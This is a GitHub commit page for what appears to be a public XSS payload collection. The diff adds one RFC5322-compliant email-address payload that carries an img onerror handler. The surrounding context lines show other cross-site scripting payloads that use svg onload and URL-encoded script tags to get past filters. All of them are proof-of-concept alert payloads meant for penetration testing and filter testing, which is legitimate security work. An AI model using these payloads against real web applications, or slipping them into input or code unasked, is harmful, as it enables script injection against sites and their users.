Skip to content

Commit

Permalink
Add additional XSS payload in email addresses RFC5322
Browse files Browse the repository at this point in the history
  • Loading branch information
cydave committed May 31, 2024
1 parent b5251a6 commit fcf69f8
Showing 1 changed file with 7 additions and 1 deletion.
8 changes: 7 additions & 1 deletion XSS Injection/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -783,6 +783,12 @@ $ echo "<svg^Lonload^L=^Lalert(1)^L>" | xxd
"><svg/onload=confirm(1)>"@x.y
```
([RFC5322 compliant](https://0dave.ch/posts/rfc5322-fun/))
```javascript
[email protected](<img src='x' onerror='alert(document.location)'>)
```
### Bypass document blacklist
```javascript
Expand Down Expand Up @@ -1405,4 +1411,4 @@ anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxld
- [Self Closing Script](https://twitter.com/PortSwiggerRes/status/1257962800418349056)
- [Bypass < with <](https://hackerone.com/reports/639684)
- [Bypassing Signature-Based XSS Filters: Modifying Script Code](https://portswigger.net/support/bypassing-signature-based-xss-filters-modifying-script-code)
- [Secret Web Hacking Knowledge: CTF Authors Hate These Simple Tricks - Philippe Dourassov - 13 may 2024](https://youtu.be/Sm4G6cAHjWM)
- [Secret Web Hacking Knowledge: CTF Authors Hate These Simple Tricks - Philippe Dourassov - 13 may 2024](https://youtu.be/Sm4G6cAHjWM)

0 comments on commit fcf69f8

Please sign in to comment.